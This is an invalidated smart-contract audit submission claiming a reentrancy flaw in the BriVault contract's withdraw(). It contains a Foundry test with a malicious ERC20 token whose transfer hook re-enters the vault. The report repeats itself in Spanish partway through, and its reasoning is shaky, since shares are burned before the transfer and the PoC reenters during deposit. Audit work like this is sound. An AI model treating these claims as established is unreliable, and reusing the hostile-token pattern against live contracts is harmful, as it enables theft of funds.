BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Reentrancy in withdraw()

Root + Impact

Description

  • Normal behavior: Users deposit ERC20 assets into the vault, join an event, and after the event ends and the owner declares a winner, winning users call withdraw() to receive their proportional share of vault assets.

  • Specific issue: withdraw() burns user shares and then performs an external token transfer without any reentrancy protection. A malicious ERC20 that executes user code during transfers (via hook/callback) can trigger a nested call to withdraw() (or other state-changing functions) while internal accounting is still based on pre-transfer state.

// Root cause in the codebase with @> marks to highlight the relevant section
function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
if (
keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
keccak256(abi.encodePacked(winner))
) {
revert didNotWin();
}
uint256 shares = balanceOf(msg.sender);
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
_burn(msg.sender, shares); // @> effects on user state (burning shares)
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw); // @> external call to token (no reentrancy guard)
emit Withdraw(msg.sender, assetToWithdraw);
}

Risk

Likelihood:

  • When the vault accepts ERC20 tokens that implement transfer callbacks/hooks (e.g., ERC777 or custom ERC20 with internal hooks), token transfers call attacker code during transferFrom/transfer.

  • When withdraw() is callable (e.g., the owner sets the winner), reentrancy from a transfer flow leads to nested execution with stale accounting.

Impact:

  • Multiple withdrawals against the same pre-burn share balance — incorrect payouts and theft of vault assets.

  • Partial or total depletion of vault funds, financial loss for participants and reputational damage.

Proof of Concept

Below are (A) a short explanation of the PoC, (B) a minimal Foundry test you can run locally, and (C) the expected observed behavior.

A. PoC summary
During deposit() the vault calls transferFrom() to pull tokens. A malicious token can execute attacker code in its internal hook while transferFrom() is in progress. That hook can call back into the vault (e.g., withdraw()), producing nested execution before accounting is fully settled. The test demonstrates a nested withdraw() attempt triggered from inside a token transfer.

B. Foundry test (paste as test/BriVaultReentrancy.t.sol)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/briVault.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MaliciousToken is ERC20 {
BriVault public vault;
bool public reentered;
constructor() ERC20("Evil", "EVL") {}
function setVault(address _vault) external {
vault = BriVault(_vault);
}
// OpenZeppelin v5 internal transfer hook
function _update(address from, address to, uint256 value) internal override {
super._update(from, to, value);
// attempt nested call once to avoid infinite recursion
if (!reentered && to == address(vault)) {
reentered = true;
// nested call into withdraw() during deposit/transferFrom
try vault.withdraw() {} catch {}
}
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract BriVaultReentrancyTest is Test {
BriVault vault;
MaliciousToken evil;
address attacker = address(0xBEEF);
function setUp() public {
// deploy malicious token and mint attacker balance
evil = new MaliciousToken();
evil.mint(attacker, 1000 ether);
// deploy vault with the malicious token as asset
// participationFeeBsp = 100 (1%), eventStartDate = now + 1000, participationFeeAddress = address(this), minimum = 1 ether, eventEndDate = now + 2000
vault = new BriVault(IERC20(address(evil)), 100, block.timestamp + 1000, address(this), 1 ether, block.timestamp + 2000);
evil.setVault(address(vault));
}
function testReentrancyAttempt() public {
// attacker approves and deposits — deposit triggers transferFrom -> MaliciousToken._update -> tries nested withdraw()
vm.startPrank(attacker);
evil.approve(address(vault), 1000 ether);
vault.deposit(10 ether, attacker); // during transferFrom, malicious hook will try vault.withdraw()
vault.joinEvent(0);
vm.stopPrank();
// advance time and set winner (owner actions)
vm.warp(block.timestamp + 3000);
string[48] memory countries;
countries[0] = "Argentina";
vault.setCountry(countries);
vault.setWinner(0);
// now attacker calls withdraw; with a proper reentrancy guard, nested attacks will be blocked
vm.startPrank(attacker);
vault.withdraw();
vm.stopPrank();
}
}

C. Observed behavior (what running the test shows)

  • Running forge test --match-contract BriVaultReentrancyTest -vvvv prints a nested call trace: MaliciousToken._update triggers a BriVault::withdraw() call during deposit() (inside transferFrom).

  • In a default (vulnerable) BriVault, the nested withdraw() attempt can proceed under certain timing conditions. In our test run the nested call reverted with winnerNotSet() because the owner had not set a winner yet — this does not mean the attack is impossible. It proves reentrancy is feasible and would succeed if the winner is already set or timing is arranged.

Conclusion: The PoC confirms the structural possibility of reentrancy; the only thing preventing exploitation in a particular test run was a logical guard, not a structural defense (no nonReentrant).

Recommended Mitigation

Root + Impact
Description
Comportamiento normal: Usuarios depositan un ERC20 en el vault, se une a un equipo y, tras el cierre y la declaración del ganador, llaman a withdraw() para recibir su parte proporcional.
Problema específico: withdraw() quema shares y luego hace safeTransfer() sin protección contra reentrancy; un token con hook puede ejecutar código durante transferFrom y volver a llamar withdraw() antes de que la contabilidad se actualice.
function withdraw() external winnerSet {
uint256 shares = balanceOf(msg.sender);
uint256 assetToWithdraw = Math.mulDiv(shares, finalizedVaultAsset, totalWinnerShares);
_burn(msg.sender, shares); // @> effects
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw); // @> external call, no guard
}
Risk
Likelihood:
Cuando el vault acepta tokens ERC20 con callbacks/hooks (ej. ERC777 o tokens con _update), la transferencia ejecuta código del token durante transferFrom.
Cuando withdraw() es ejecutable (p. ej. el owner ya seteo el ganador), la reentrancy desde la transferencia provoca ejecución anidada con balances obsoletos.
Impact:
Retiros múltiples con el mismo balance pre-burn → pagos incorrectos y robo de fondos.
Agotamiento parcial o total del vault; pérdidas financieras y reputación.
Proof of Concept
// Minimal PoC (OpenZeppelin v5 hook _update)
contract MaliciousToken is ERC20 {
BriVault vault; bool reentered;
function setVault(address v) external { vault = BriVault(v); }
function _update(address, address to, uint256) internal override {
super._update(...);
if (!reentered && to == address(vault)) { reentered = true; try vault.withdraw() {} catch {} }
}
}
Explicación breve: durante deposit() el token malicioso dispara _update() dentro de transferFrom, que llama anidado a withdraw(). En tests se observa la llamada anidada; la única razón por la que no drena en un run fue winnerNotSet(), no una protección estructural.
Recommended Mitigation
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract BriVault is ERC4626, Ownable {
+ contract BriVault is ERC4626, Ownable, ReentrancyGuard {
- function withdraw() external winnerSet {
+ function withdraw() external nonReentrant winnerSet {
uint256 shares = balanceOf(msg.sender);
- _burn(msg.sender, shares);
- IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
+ _burn(msg.sender, shares); // effects
+ uint256 assetToWithdraw = Math.mulDiv(shares, finalizedVaultAsset, totalWinnerShares);
+ IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw); // interactions
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!